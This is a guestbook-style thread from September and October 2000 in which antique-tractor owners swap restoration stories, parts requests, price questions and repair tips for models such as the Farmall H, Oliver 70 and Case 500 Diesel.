Terry wrote on Monday, October 09, 2000 (PDT):The "B" is a very good tractor for a couple of reasons. They are very forgiving of bad tractor mechanics. It is hard not to make them run once they are running. They are simple to figure out. This part turns that part which turns that other part. Tons of new and used parts available. They stimulate the economy because the parts, new and used cost so much. Many variations, wide, narrow, no hydraulics, some hydraulics, lots of hydraulics. The lumber people don't particularly like them because they really do not need to be sheltered. Cover the exhaust, optional, and leave them outside. Still runs like a top. Don't get me wrong, I like the B, have a couple myself. I can't seem to get everything working exactly right at the same time everyday. Always some gremlin around.
Stephen Nichols wrote on Sunday, October 08, 2000 (PDT):I have 1945 "H". The front end is currently a wide front end, but is not the original. I have the original narrow front end, and would like to know two things. 1. Is the value of the tractor decreased because of the change? 2. I have heard alot of horror stories about the tractors stability with the narrow front end. Are these just rumors, or is the wide front end safer? This is a good site! Keep up the good work.
don hewitt wrote on Sunday, October 08, 2000 (PDT):if you rent the movie "analize this" there is a 720 in the first min. of this movie. it was rented from a collector from long island ny, i was the actor playing the farmer.i own a 1950 8n.i would like to buy a 2020 diesel......
Rico Lehmann wrote on Saturday, October 07, 2000 (PDT):Hi. I am from switzerland. I have a Mc Cormick Deering Tractor from the year 1927. the last seven years I restore this tractor. I spend al lot of time to find parts and informations. To make this tractor orginal, I need about 96 Spade lug. Can help me somebody? I pay good prices for them. Thanks a lot.
Dick Hamby wrote on Friday, October 06, 2000 (PDT):Webb wrote on oct 3 wanting a G tractor. I have one but the response was no such E address.
Hershel Evans wrote on Friday, October 06, 2000 (PDT):I am interestes in purchasing a tractor for grading my drive way and other small task. would a D-14 be large enough for this? And how much can I expect to pay for one in top shape? I live in west Ky. I would like to see one whithin 150 mile radius Your help will greatly appreciated.
Ronald Peters wrote on Thursday, October 05, 2000 (PDT):My question is a general about all case tractors what years were the case tractors made and which one would be the best for al around use
Ronald Peters wrote on Thursday, October 05, 2000 (PDT):My question is What Years were the Ford 8N and 9N tractors and which one is best for all around use and how easily are parts found for these tractors
Dale "The Tractor Guy" wrote on Thursday, October 05, 2000 (PDT):I enjoyed the comments. I assume the Coca Cola is used to pour into the cylinders through the spark plug holes to free stuck rings/pistons. I just purchased a Farmall F-14, 1939. Looking forward to fixing it. Carburetor is being overhauled back in Missouri, need one rear tire and 2 front tires, clean gas tank, clean and lubricate governor parts leading to carburetor, change oil and filter, and then plugs. I will then start it and drive it. I am missing sheet metal above the hood, under the steering shaft, above the carburetor. It is a small piece. Know where I can find it? Dale "The Tractor Guy" in Loomis, CA
russell robinson meriden ct, wrote on Thursday, October 05, 2000 (PDT):I own a 1949 model g and will soon be restoring it. I love this tractor it is a total work horse.My tractor needs paint,decals,dials, and need to fix a oil leak in the axel seal. Any helpful advise would be helpful, thanks
Jason Snyder wrote on Thursday, October 05, 2000 (PDT):I was wondering wether you found an 8-N yet to trade for your super 44? I was also wondering if you wanted to sell your super44 and how much you were asking for it? If you could e-mail me back and let me know it would be much appreciated. Thank you Your oliver buddy Jason
Bill Seip wrote on Wednesday, October 04, 2000 (PDT):My Grandfather in Southern Ontario Canada owned a Case L Or La which he used for farm, custom threshing and mill work until the 1950's. I was too young to know the exact model ? It looked very similar to the LA, especially the rubber wheels but was gray in colour with square fenders. Would any one know if the first versions of LA would have been grey or perhaps a later model of L ? Thanks
Mark Geiger wrote on Wednesday, October 04, 2000 (PDT):Have just purchased a 1941 Oliver 70RC last weekend at an auction in eastern Wisconsin. Have been searching for years for the right deal and it finally happened. It was not run for many years but we did get it started the day after the auction--will need some work.Sheet metal is straight and not corroded any where--just surface rust all over.Has 11x40" tires on it--are there new tubes available for this size ? Tires? Lots of fun filled opportunities ahead.
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
kelly giesbrecht wrote on Wednesday, October 04, 2000 (PDT):I had a 1953 c-40 cockshutt / buda 6 banger. It was a great tractor but sold it as i didn't use it much. I still have the front end-loader complete with working cylinders,hydrolics mounts,and pto pump. It worked the last time it was used but it needs a new home.wetsideup at hotmail.com.
Rick Ross wrote on Tuesday, October 03, 2000 (PDT):Can anyone tell me why some Cockshutt 30 tractors are displayed with the rivets on the wide front end wheels to the outside as opposed to placing the rims on with the rivets on the inside. I have restored mine with the rivets on the inside however the vavle stems likewise are on the inside. To date no one can give me an answer to this question that makes any sense. I'm fussy about this sort of detail and would like to hear from someone who knows.
Rick Ross wrote on Tuesday, October 03, 2000 (PDT):Can anyone tell me why some Cockshutt 30 tractors are displayed with the rivets on the wide front end wheels to the outside as opposed to placing the rims on with the rivets on the inside. I have restored mine with the rivets on the inside however the vavle stems likewise are on the inside. To date no one can give me an answer to this question that makes any sense. I'm fussy about this sort of detail and would like to hear from someone who knows.
Vince Manno wrote on Tuesday, October 03, 2000 (PDT):Can you please send me all the info you have on this tractor (McCormick Deering 0-14)
David C. Baker wrote on Monday, October 02, 2000 (PDT):Re; Oliver 70 Standard I own one. I grew up driving it. I am 53 now, a university professor who took over the family farm when my dad died 4 years ago. Ours runs like a top. We used it in the haying this summer. It is a 6-cyl. engine, said to be an experimental high- compression engine. The "70" is said to come from 70 octane gas, which it used in the 40's. Ours was purchased in 1947 and it did all the farm work until 1964 when we added a Ford 4000 (which we also still have). We now use a New Holland TN75 for the major work on our farm in Southwestern VA. We used it to run a thrashing machine (a Frick model). The thing was a real powerhorse under the belt. I still have its 2-bottom plow, an Oliver Plowmaster (2, 16" plows). It leaks a little oil around the engine seals. I guess the seals have dry rotted. Otherwise, it's in tip-top condition. I've seen restored models of these run up to $6000. But they were really nicely fixed up.
ralph meyer wrote on Monday, October 02, 2000 (PDT):The first 500 Diesel i ever saw was a "509" power unit in a feed mill. I was just a seven year old kid from a hill farm where our "big" tractor was an SC. I wondered if I would ever see a real tractor with that great big engine. Now we have three 500s, two 400s,two 401s, and one 801 . All make sweet Case Diesel music . Does anyone have a grille for a 400 ?
Sean Kelly wrote on Monday, October 02, 2000 (PDT):What a small world! The guy above, Trevor Oester, just happens to be my cousin. Just like my cousin said, grandpa owns one of the only 2 ironhorses left. I think Trevor was kind of wrong in some parts so I'll fill ya in. It was not illegal to use horse drawn farm equipment. Instead the Ironhorse was made to introduce farmers to mechanical farming. Its idea was to eventually replace the horse. The machine was driven just like a horse with reins while the farmer walked behind it next to the plow. The problem with it was it was kind of back heavy and when a farmer went up a hill it would tip over backwards and crush them. During WWI and WWII they were all melted down for use in the Army. Currently there are only 2 known Ironhorses, one which is missing parts and will never run again and the other (which my great grandpa has) is complete and running like brand new. He currently has it in storage and if I'm not mistaken it will eventually be on display at the Smithsonian Museum in Washington DC. The picture above is the exact tractor that my great grandfather owns and was probably taken at the Steam and Tractor show in Oregon State.
Gilbert Ray wrote on Monday, October 02, 2000 (PDT):Eric Frederick_I need both sides of the front grill. Both tractors have the same grill. Do you have them and would you sell them? How much? Thank you.
Neil talbot wrote on Monday, October 02, 2000 (PDT):I am restorig my dads Cockshutt 70 standard tractor{oliver}and need right & left front eng covers & both grilles,any help would be appreciated.Thanks
JIM WILSON wrote on Monday, October 02, 2000 (PDT):I HAVE A ONE SIXTY AND AM EXPERIENCING POOR HYDRAULIC RESPONSE ON THE 3 PT, EXSPECIALLY IN COLD WEATHER. I HAVE CHANGED THE FLUID AND FILTER ON TOP OF TRANSMISSION. NEED ANY SUGGESTIONS ON WHAT TO REPAIR OR REPLACE.
Duane wrote on Monday, October 02, 2000 (PDT):I am looking for a loader to fit my 504 Diesel row crop with a wide front end. Does anyone know what a 504 Diesel tractor is worth these days? It has a four cylinder diesel engine with about 45 horsepower, three point hitch with a T.A. Any comments are appreciated.
Paul wrote on Monday, October 02, 2000 (PDT):We have 3 1066's. One is painted red with white hoods and we call it white boy and it's been down the track many times. The other two are strong runners to. We also have a blackstripe 1466 that runs good. Why did the John Deere driver paint an IH emblem on his wily? The only way he could beat him!!!!!!
Duane Sanders wrote on Monday, October 02, 2000 (PDT):I use to have a 560 Diesel wide front. It was a good tractor for my farming operation of 320 acres. I was a fool to trade it years ago. I also have my Dad's tractor that he bought new in 1963. It is a 504 Diesel with a torque amplifier. I am interested in finding out what this tractor is worth. It is a row crop style tractor with a 3 point hitch also. Anyones input would be greatly appreciated. Thanks.
C.W.Broughton wrote on Monday, October 02, 2000 (PDT):To; Dan Schloesser...installing the sycle bar mower is kind of tricky...pull it out so you have lots of maneuvering room set the mower so that the pto shaft/pulley is at right angle to mower blade...then drive your cub from the right up to and at 90 degrees to the pto shaft of mower or parrallel to the mower blade..pull up to the pto shaft pulley so rear wheel almost touches,hit your right brake and turn hard,pull forward so that rear right wheel almost touches the pitman arm/mower blade, then turn wheels to left and back up and align mower underneath tractor. Place a jack underpitman arm pulley/saddle bracket and jack up to meet the two bolts on the transmission case of tractor. Attach bolts.then remove three lower bolts on pto housing abd bolt pulley bracket there,be sure and put belt on pulleys as you do this. Last,tighten the "adjustment bolt on lower end of pulley bracket. See. it's easy !!
John Murray wrote on Monday, October 02, 2000 (PDT):Hi all, I need a seat and springs for my 1946 "B". Can anyone help me out with a deal? I'm not worried about "looks". I use my tractor with a continental belly mower to mow grass. Need something to sit on is all. thanks.
C.W.Broughton wrote on Sunday, October 01, 2000 (PDT):To; Steve Dean your tractor is a late 1955 model To; Emile Picarella youi can get a manual from I & T (Intertec) P.O.Box 12901 Overland Park,Ks.66282-2901 To; Don Holden... your set screw on the front of the governor needs to be re-set for pulling (high speed)...loosen the nut and set it about 3 turns in.. I set mine and it plows like a champ!!
Dan Osbern wrote on Sunday, October 01, 2000 (PDT):I have a 1947 8N tractor, and I love it! I am going to start restoring it this winter. I was thinking about changing it over to a 12 volt system is there any advantage in this change. My tractor is still has a 6 volt system and it works great. Other than the leaking seals in the back wheels and no brakes, it runs great. I use it for brush hogging, finish mowing, box blading and I even have a scoop for the three point and a boom pole. Its a little work horse, I don't know what I'd do with out it. Any info on the 12 volt system would be a great help. Thanks Dan
Chris wrote on Sunday, October 01, 2000 (PDT):Hello, my father owns an Oliver tractor. I believe that it is a 1965 Oliver 770 Row Crop. Does anyone know where I can get replacement decals for it? Chris
Stuart MacFarlane wrote on Sunday, October 01, 2000 (PDT): I own my grandfathers 1938 F14 on steel, totally reconditioned runs like new. What is this Coca-Cola? I know where one can get rubber mounted wheels and also steel covers designed to go go over rear wheel spikes so you can drive on pavement.
Ken Readman wrote on Sunday, October 01, 2000 (PDT):IHC made some of the worlds best tractors thats why we have three i-20s two A one Cub,H two Ms two W4s,W6,WD6,all restored All so have a three speed compound 8hp Burrell traction engine works number 3348 1911
Destry Earling wrote on Saturday, September 30, 2000 (PDT):I have a International Harvester TracTractor. It is a Diesel that starts on gas and has an electric starter. It is unstyled. I think it is a TD-35, yet I can find no serial number to comfirm. Could somebody tell me where to look for serial number or other identifying features.
Lee Johnson wrote on Saturday, September 30, 2000 (PDT):I own two Case "V" series tractors...one is a VAC with the serial number plate missing. I was told there is no other way to determine the year of the tractor...is that true? I know that the later "V"s had "O" ring seals in the hydrolic cylender...this one has the leather cap type.
W.D. Jenkins wrote on Saturday, September 30, 2000 (PDT):I had an uncle that bought a new BF Avery in the late 40's or mabee very early 50's. I always loved the little tractor because of the manuaverability. It,s good to hear that someone else is interested in these tractors. I ahve said recently, that I would buy a new one if they were built today. W.D. Jenkins
W.D. Jenkins wrote on Saturday, September 30, 2000 (PDT):I had an uncle that bought a new BF Avery in the late 40's or mabee very early 50's. I always loved the little tractor because of the manuaverability. It,s good to hear that someone else is interested in these tractors. I ahve said recently, that I would buy a new one if they were built today. W.D. Jenkins
Billy wrote on Saturday, September 30, 2000 (PDT):I have a 43 John Deere "H" I am restoring it and need to know a few things like which side is #1 cylinder. I'm a bit green on all aspects of the tractor please help
Eric Frederick wrote on Friday, September 29, 2000 (PDT):I have e-3 co-op running tractor and a cockshut 30 parts tractor , be interested in selling various pieces off of the cockshut.
Brett Nelson wrote on Friday, September 29, 2000 (PDT):nice tractor,real interested in this type of tractor,wish i had one
Magnus Olsson wrote on Friday, September 29, 2000 (PDT):Hi, I am 25 yrs old from Sweden, and the proud owner of a Fordson Super Power Major -60 or -61. I had to restore the engine bec. it had not been in use for about ten yrs. I have also equipped the tractor with power steering. Please contact me w. questions or comments on this fine model!
Grandma wrote on Friday, September 29, 2000 (PDT):They same "time heals everything." In 1956 my mom and dad went to Minnesota for the weekend to look for a farm as in southern Iowa there was a drought - we were buying water for ourselves and our animals at that particular time; I was left in charge of milking cows for the weekend. On Sunday afternoon I decided to take the Oliver 70 for a ride through town (it was not unusual for me to drive it - I had driven the Oliver when making hay and even cultivated for dad sometimes). However, I did not know that dad was in the process of changing oil - the oil had all been drained out; after I arrived on the main street of a small town where everyone knew everyone - fire started coming out of the chimney; I wish I had stopped then and there, but I thought I had to get home - about a mile away. Bottom line -tractor was ruined; I thought my reputation was ruined forever as I and everyone else knew what I had done. My dad was more understanding about it than I would have been. God bless him. It was our only tractor so he had to purchase another tractor in order to get the crops in that Spring - and money was tight. This has been a "off limits" subject with me for many years - now I wish I knew if there were "note cards" with the Oliver 70 picture on the front - and if not the Oliver 70 - just any Oliver - for sale anywhere.
Larry Lauckner wrote on Thursday, September 28, 2000 (PDT):My dad bought a new VC case in 1941 and that old tractor ran well into the eighties . It was over hauled many times. I spent many hours on that ole tractor.
Greg wrote on Thursday, September 28, 2000 (PDT):To all you JD H fans at 32 my first tractor was a Allis Chalmers B. Was driving down a road near by had happen to come across a cub cadet sitting, so as any male thats into cub cadet would stop and inquire about tractor. In the line of bs out came that he had a John Deere H for sale and saying to myself humm this could be interesting to see. So my first site of tractor i said i have to own it.Now to make story short its home already restored and the fevers on as to now i own 3 JD H's , 2 JD B's, JD 110,112 lawn tractors. My advise is to own one you'll love it. Nothing sounds better than a John Deere going putt putt. Thanks again Greg
Tom Saathoff wrote on Thursday, September 28, 2000 (PDT):I started driving AC many years ago. I have used WD.WD45.D14.D17 (4) D19 7010. &B. You can do more work on less fuel with a 17 than any thing else made. I use mine for discing,sowing hauling everything,mowing and even baling. As to the problem of creeping with the hand clutch in nuetral,(they all do this), try a novel solution; either use the brakes, or idle all the way down and turn the front wheels full. This works on mine. As to the gentleman who inquired about the 17 stuck in gear; We had a 19 that did this and we had to pull the trans cover off and align the shifter forks and move the gears to nuetral. Hope these tips help
Rolly Patterson wrote on Thursday, September 28, 2000 (PDT):I am interest in learning about Older Ford Tractors, 8n 9n & then the next few models. Maybe 50' thru 60's Can you give me some help, books, sites etc. Thank You
Jay Bradford wrote on Wednesday, September 27, 2000 (PDT):Well it has taken me almost one year to fully restore my Dad's first tractor... A Farmall Super C!! It was my first tractor restoration project. I don't know if i will do another one. It has taken a lot of money and a lot of time, but it was worth it! It allowed my Dad and I to spend quality time together and it is something that I will never forget. The finished project is incredible!! Now I'm ready for the parades!!!
Jürgen Carstensen wrote on Wednesday, September 27, 2000 (PDT):Ich habe einen Super Dextar Bj.63 und werde ihn im kommenden Winter restaurieren. Er ist in einem sehr guten technischem Zustand, wurde aber einmal komplett überlakiert. Jetzt suche ich Kontakt, um an Infos für mein Vorhaben zu kommen. Zum Beispiel würde ich gern einen Originalsitz einbauen und in Originalfarben lackieren. Über Antworten würde ich mich freuen.
Dale L. Smith wrote on Tuesday, September 26, 2000 (PDT):Looking for AC "G" in central Pa. area. Interested in equipment also. Equipment Need not be with tractor. If not in central Pa. please advise address. Thank you/ Dale
Dale Ridenour wrote on Tuesday, September 26, 2000 (PDT):I have a large selection of good used and allot of new reproductions parts for sale for the L series tractors. You can e-mail me or phone at (513)-988-0390. Also have a web site at www.antiquejohndeere.com
Ray Uson wrote on Monday, September 25, 2000 (PDT):Did any of the Allis Chalmers tractors have 3 point or a PTO?
R. Preston Sutherland wrote on Monday, September 25, 2000 (PDT):I recently acquired a 300 utility, it runs fine, but the power steering doesn't work at all, we have bled the lines, and still nothing....all the other hydraulics work. Any help would be appreciated.
Sam Gaddis wrote on Monday, September 25, 2000 (PDT):I would like to know the original colors of red and yellow that are on the BF Avery Model-A tractors. I am restoring this tractor and this information is vital to my success. Any help would be greatly appreciated. Thanks, Sam E. Gaddis
Jim Hoy wrote on Monday, September 25, 2000 (PDT):I have 6 John Deere tractors starting with a36 B, 40 H,37 A, 50 B, 41B,54 50,. They all run ,Only one is show ready.The rest are being worked on.
Emile Picarella wrote on Monday, September 25, 2000 (PDT):I have three farmall tractors one is a cub, I am looking for cataloge for parts can someone tell me how to get that and what information is needed , such as serial number or what else....thanks
charlie wrote on Monday, September 25, 2000 (PDT):I have 12 parts tractors if i can help some one gave me a call or email 856-358-3371
Mike Reynolds wrote on Monday, September 25, 2000 (PDT):I have a 59' farmall 340 rowcrop with wide front and superior loader, great little tractor but I never see any other 340 rowcrops. Does anyone know how many were built and sites that might have some more info on these?
don milne wrote on Monday, September 25, 2000 (PDT):That is a nice picture of pacer. I have one totally restoredand one i and one th t iuse for mowing fencing etz.Also have pony restored and 7 or 8 junked or usable. Don Milne Annaapolis Royal N S
Mike Johnson wrote on Sunday, September 24, 2000 (PDT):My grandfather bought a new D15 Series II around '63. I bought the tractor from his estate in '85. This year my father & son worked with me to restore the tractor with AC paint and decals. Recently, a problem has developed in the torque shaft area. The tractor has been broken down and I'm in need of shaft assembly parts. It's a challenging project but, thanks to the help of an Allis addicted mechanic maybe we'll make it with a some luck. If you know a D14 or D15 that is being parted, let me know. mikej1767 at aol.com -or- 615 443 8633.
Blaine Griggs wrote on Sunday, September 24, 2000 (PDT):Just purchased a 1950 Rowcrop at a farm sale on 9-4-2000.The first thing I did was chisel the muffler off so I could hear that sweet sounding 4-53 Detroit thru a straight pipe like I used to back in 1970-73 when a 1966 model 1950 was the main tractor on our farm.We also pulled this tractor in the 15,000# class and it was a crowd favorite.Sure am having fun with my newly purchased 1950 and will always keep it.Been pulling a 21 ft Krause disk with it.
Jerry Thomas wrote on Sunday, September 24, 2000 (PDT):I'm the third owner of our 1936 MH GP. We use it yearly to compete in plowing matches, along with a MH #26 plow. The steel wheels and V lugs make for tough steering unless you're moving and unfortunately, the years of use have left a lot of play in the steering. In spite of this, we've done quite well in competition, placing in the top 5 for the past 8 or 9 years. Twice, we've won first place. You get used to the play and once the wheels are in the furrow, the tractor doesn't "hunt" nearly as much. My opinion as to why they weren't a commercial success in the Midwest is that they are under-powered for plowing applications. 2-12's in hard black soil are about all it will pull for any length of time. Parts are difficult to find and expensive, if available at all. (I'm currently looking for some drawbar parts and a radiator for the overhead valve engine, if anyone knows of one.) The appearance and uniqueness of this tractor make it a conversation starter anywhere it goes. Most people wonder how it steers and are surprised that it introduced 4 wheel drive way back in 1930. It is a great chance to tell people about some of the other innovations that MH pioneeered.
Matthew wrote on Sunday, September 24, 2000 (PDT):Ernie Henning is correct about the difference between a B and a BN. The B Farmall rear axle is wider on both sides than the right side of a Farmall A's rear axle. The BN, however, has the same width rear axle on both sides as on the right side of the Farmall A. Besides this difference in the rear axles, B's and BN's are the same tractor.
Dave Evans wrote on Sunday, September 24, 2000 (PDT):My grandfather bought a new ZTU in 1948 and a ZAU in 1953 with the live power clutch to run on an AC 66 combine. We still use them both on our farm in Ravenna Oh to do all the small jobs around the farm like raking hay and pulling wagons around. They are the handiest tractors to back a wagon with due to their turning radius and the ZTU backs good and slow. We also picked up another ZAU about the same age as the other one and hope to get it running soon. We have other MM equipment as well such as; 2 row corn planter, sickle bar mower, a 2 bottom and 3 bottom plow, disc, cultivators and the flat belt & pulleys which we used to use for a stationary corn sheller. We also have a 602 Diesel and a MM loader that we mounted on a 1955 Oliver. We love our old molines and probably wouldn't trade them for a new tractor.
r hughes wrote on Sunday, September 24, 2000 (PDT): I own a Regular. The unit was sold to me as a 29, but I believe it is a 31. It is totaly origional even the paint howeaver it has been placed on round spoked rubber tire's--36inch rear--16inch front. It still runs & drives great. The decals on the rear axel's are yellow & black not white & black. I also happen to have a complete extra air intake stack & all for same.--R
Jack Hitt wrote on Saturday, September 23, 2000 (PDT):I have a SD-3 Sheppard and I'm trying to find a head gasket. Can you help me or steer me in the right direction. So far, you have been the only site to even list the Sheppard.
Terry Koser wrote on Saturday, September 23, 2000 (PDT):I own a 1937 F-20,fully restored it was always in our family, the first tractor I ever drove.It was original with the narrow front,I have been thinking about buying a wide front end for it to change its looks once in a while. does anyone know a ball park figure what a half-way STRAIGHT wide front ends are going for? I thank you for any help..
Chris wrote on Friday, September 22, 2000 (PDT):I just bought a IH 706 with loader. Tractor seems to be in great shape and runs excellent. New rear tires and great paint job. Reads 4500 hours (dont know if thats the second time around). Ser. # 1293. I paid $5800.00 Can anyone give me some information about this tractor? What year it was made? Did I get a good deal? What about 3 point hitch?
Ken Ingersoll wrote on Friday, September 22, 2000 (PDT):I have a Massey-Harris GP 4WD 1930-1935 model with a flathead Hercules engine. This was my dad's tractor and when he needed an engine for it, he found the exact same hercules engine on an industrial water pump. Persons looking for engines should look up hercules engine company and find out what other uses they used for this engine. Anyone who has never driven a MH 4WD GP, your in for a surprise! Make sure you have a large open area, steering is hard and can be assisted by breaking separate wheels. The clutch is hand-operated and it will take a while to get used to. This was a great logging tractor. Many great memories with it!
Scott Porter wrote on Friday, September 22, 2000 (PDT):What year was this tractor made?
Betty Rambo wrote on Friday, September 22, 2000 (PDT):My husband and I have a MM U, which my dad bought new. I am not sure what year, somewhere in the 50's. We would like to have it restored. Do you have any information on where parts can be purchased? Right after my dad bought the tractor a neighbor boy rolled it over so it could use a new hood. Any information you may have would be appreciated. We live in Nashport, OH
D-Skinner wrote on Thursday, September 21, 2000 (PDT):I have just purchased a 1937mod-B I am needing a three point atachment and a battery cover sides this tractor runs great and I plan on showing this tractor as well as using it in the fields if anyone knows where I can get parts please let me know thank you
Gregory Hull wrote on Thursday, September 21, 2000 (PDT):My dad has got a series I Field Marshal which has been in the Family since it was purchased brand new in Rhodesia. he has some contacts and some literature for those interested.
Howard McCollum wrote on Tuesday, September 19, 2000 (PDT): The tractor is the right color The 2000 offset was blue and grey I have both tractors the 2000 is a diesel with a ford combition transmission.
Howard MCCollum wrote on Tuesday, September 19, 2000 (PDT): I Have a 51 model 8N with a set of 20 inch Arps tracks work real well in the south in sandy land when you had a wet spring and you needed to get your tobacco set out.
Howard MCCollum wrote on Tuesday, September 19, 2000 (PDT): I Have a 51 model 8N with a set of 20 inch Arps tracks work real well in the south in sandy land when you had a wet spring and you needed to get your tobacco set out.
Mike Bolf wrote on Tuesday, September 19, 2000 (PDT):I need to know the horsepower and if the super 55 has live p.t.o. I plan on maintaining logging trails and a long driveway, and need to know if this a dependeable tractor.
bill noe wrote on Tuesday, September 19, 2000 (PDT):Have a late model B, last year they were made. Any idea if anyone rebuilds the carburators on these tractors. Mine sure runs rough.
David M. Williams wrote on Tuesday, September 19, 2000 (PDT):About a year ago a friend of mine found a 560 Diesel that I bought. It was purchased from an elderly gentleman who had stated he had gotten too old to climb onto it and that it was too high up off the ground. The tractor had been shed kept and just this spring I had to replace the "orginal" front tires. I'm not sure how many hours was placed on this tractor because I found the RPM drive mechanism stripped out at 2435 hours. She's just as strong as I want her to be with my largest implement being a 10' heavyduty offset disk harrow. My brother had just recently commented on the unique strong sounding engine.
Kent Aschenbrenner wrote on Monday, September 18, 2000 (PDT):I bought an 880 deisel right from these classifieds last December and it's one of my favorite tractors in my collection. That deisel sound can only be made by six cylinders and will NEVER sound like the other green. I love it!!
chris hale wrote on Monday, September 18, 2000 (PDT):i recently located an oliver 80 row crop tractor.i have the opportunity to purchase this tractor if i can come up with a fair offer.if anyone out there can give me an estimate i would greatly appreciate it.this tractor is running well and has been restored approx. 10 years ago
vance wrote on Sunday, September 17, 2000 (PDT):I bought my 1942 H for $700.00 All it needs is fresh paint.If it is not broke don't fix it.I live in a small town and all my neighbors enjoy the tractor.
P.Getman wrote on Sunday, September 17, 2000 (PDT):In the late 60's early 70's my father purchased an 3 cylinder Sheppard Diesel. It had a hand plunger device to inject fuel oil directly to the cylinders to fire the engine up. But most of the time we towed the thing to get it going. Once running, we kept it running all day. The power was decent and it did all our hay. One time the rod broke and luckily we purchased another one from Pennsylvania. ANother time the bull gear lost some teeth, so we put another one of those in. Then the pinion went and we put another of those in. I guess these Sheppards were versatile according to many people. Easy to repair...ect . , but after a while the Real Metal Seal would leak engine oil. Being OEM it was hard to get parts that worked. It was our main tractor for 20 years. Big batteries were needed to fire it up. The PTO would run all the time so we would hook the PTO up Before starting. Then it would have a tremendous drag. But after a little running, things would loosen up. The best advantage was that it was live hydraulics and 8 speeds ahead and two reverse's. The Rear End was Cockshutt so the parts needed were available. There is a Sheppard Day down in Pennsylvania I hear and the owner, Mr. Sheppard comes and visits. I hear the Sheppard Company only made thru it's history less that a 1000 tractors.
P.Geman wrote on Sunday, September 17, 2000 (PDT):This Super MD was my Grandfathers when he got it new in 1953. He had 50 head of Dairy Cows and used it for doing everything. Plowed & planted 75 acres for years in corn. Also Cut and Baled hay. He had the head crack once and it was replaced by the dealer. You have to let the hot engines cool by idling after a hard work out. 15 minutes was the suggested time. The tractor had set outside for some time and the clutch froze to the pressure plate. So that is when I purchased it from Grandpa. He said after the second overhaul ,it never work like before, he thought the dealer did a poor job. Until a few years ago, I found out that after changing the injection pump with a overhauled one, The tractor has been working great. Today I use it for my handyman's tractor. I put a loader on it and move manure and use it also for plowing[snow & Sod], raking, baling on the old New Holland 77 Hay Baler. Just like Grampa use to do.
P. Getman wrote on Sunday, September 17, 2000 (PDT):The 500 Case Diesel I own has been with me since 1977. Purchased it from an IH dealer in the Syracuse Ny area. At the time it had new 34 inch Rear tires. Being unfamiliar with the hand clutch, it took me very little time to get used to it. I looked over some of the stories of other people and the PTO has been a little bothersome but I did replace all the disc & cluthches a couple years ago. The parts came from IH-Case. I happened to have a parts book with mostly good part numbers for the 500D. I use a Hesston Habine, Old PTO New Holland 77 Haybaler, and plow my corn garden with it. The engine purrs steady.
Hannes Weilbach wrote on Sunday, September 17, 2000 (PDT):The Fordson name stoped in 1964. The first world series Fords was in 1965, Ford Dexta 2000, Ford super Dexta 3000, Ford Major 4000, Ford Super Major 5000
Glenn wrote on Sunday, September 17, 2000 (PDT):The D21 was one of the best-looking machines A-C ever built. Someday I'm going to have one . . .
BILL WILLY wrote on Saturday, September 16, 2000 (PDT):QUALITY FARM &COUNTRY PO BOX 3330 DES MOINES, IOWA50316 Has new & used parts 4 most old tractors & service manuals 4 about $30 phone 1-888-828-3276 fax 800-433-1209
jim cash wrote on Saturday, September 16, 2000 (PDT):What a nice looking checkerboard!I have it's littler bro, a 1960 1800 Diesel,but I really love those old Detroits. Mine has a Schwartz wide front,Row Crop model.These were some of the last tractors made by Oliver before White.
Curtis Akridge wrote on Saturday, September 16, 2000 (PDT):I'm looking for a for 8N tractor in the area of south GA I need it do to light yard work Price must be under $2000 w/attachments
D.W. Sapp wrote on Friday, September 15, 2000 (PDT):I bought in the spring a 51 M from a friend of mine who taught be how to be a air traffic controller. It is a great old tractor and looks good sitting in my barn next to my AC wc and wd. Now thinging about a super H to add to my collection!
Tiffany wrote on Friday, September 15, 2000 (PDT):I am looking for any information that I can find on this tractor especially the 1939's if anyone could help it would be greatly appreciated especially for the paint scheme.
Jim Weber wrote on Friday, September 15, 2000 (PDT):Hi all - great site - I'm looking for the drow bar horse power of the 30 ?? please e-mail me my dad still works his - I think it's his biggest tractor ;) Thanks
Ray Brown wrote on Thursday, September 14, 2000 (PDT):I'm interested in a D-17, series IV with wide front and 3 pt. hitch, gas or diesel, prefer gas. I live in southern Indiana. Would prefer to find one within 100 Mi. Thanks, Ray
doug wrote on Thursday, September 14, 2000 (PDT):my 550 gas has a terrible problem of overheating.i have replaced the radiator,the water pump,the radiator cap,and had the head completely re-done,but still has overheats! could anyone please tell me what i can do to fix this problem. i surely would apreciate it! thanks-doug
Bob Sobolewski wrote on Wednesday, September 13, 2000 (PDT):I am iterested in older ford tractors many the commander series. Any information regarding these tractor would be helpful. I am also looking for one to buy any of these for sale out there.
andy wrote on Tuesday, September 12, 2000 (PDT):Is there a loader attachment for the sixty? If so, how much would a decent one fetch?
Johnny Chavers wrote on Tuesday, September 12, 2000 (PDT):I am considering buying a Super A farmall. What's the difference between this tractor and a Super A?
Erik wrote on Tuesday, September 12, 2000 (PDT):I have a John deer la I got for free out of my uncles junk pile just got done rebuilding it it still has the id tag.I had also just bought a farmall bn that I wish to use in tractor pulls can you give me a price that those tractors might be worth.
Erik wrote on Tuesday, September 12, 2000 (PDT):I have a John deer la I got for free out of my uncles junk pile just got done rebuilding it it still has the id tag.I had also just bought a farmall bn that I wish to use in tractor pulls can you give me a price that those tractors might be worth.
Erik Irwin wrote on Tuesday, September 12, 2000 (PDT):i'm 16 and i have reacenly bought a massey harris 55k i have completely restored the massey by myself i have over hualed the engie which is a 382 contenital and have totally redone the pait it is a rice and cane model with a hand clutch in it i have been to 2 shows with it this year so far if u would like pictures please e-mail me thanks
John Ne... wrote on Monday, September 11, 2000 (PDT):Sept.00,, Rumley also built a most curious tractor that the final drive and rear wheels could be rotated forward and locked, positioning the drive wheels in the center of the tractor. the front axle was then removed, and a trailwheel attached to a rear implement supported the tractor, steering was then with brakes, fellow name of Keenan in Omaha has 2. restored and takes them to Camp Creek show in Nebraska.
J MEYER wrote on Monday, September 11, 2000 (PDT):i have a 140--what is the horse power rating for this tractor please tnx
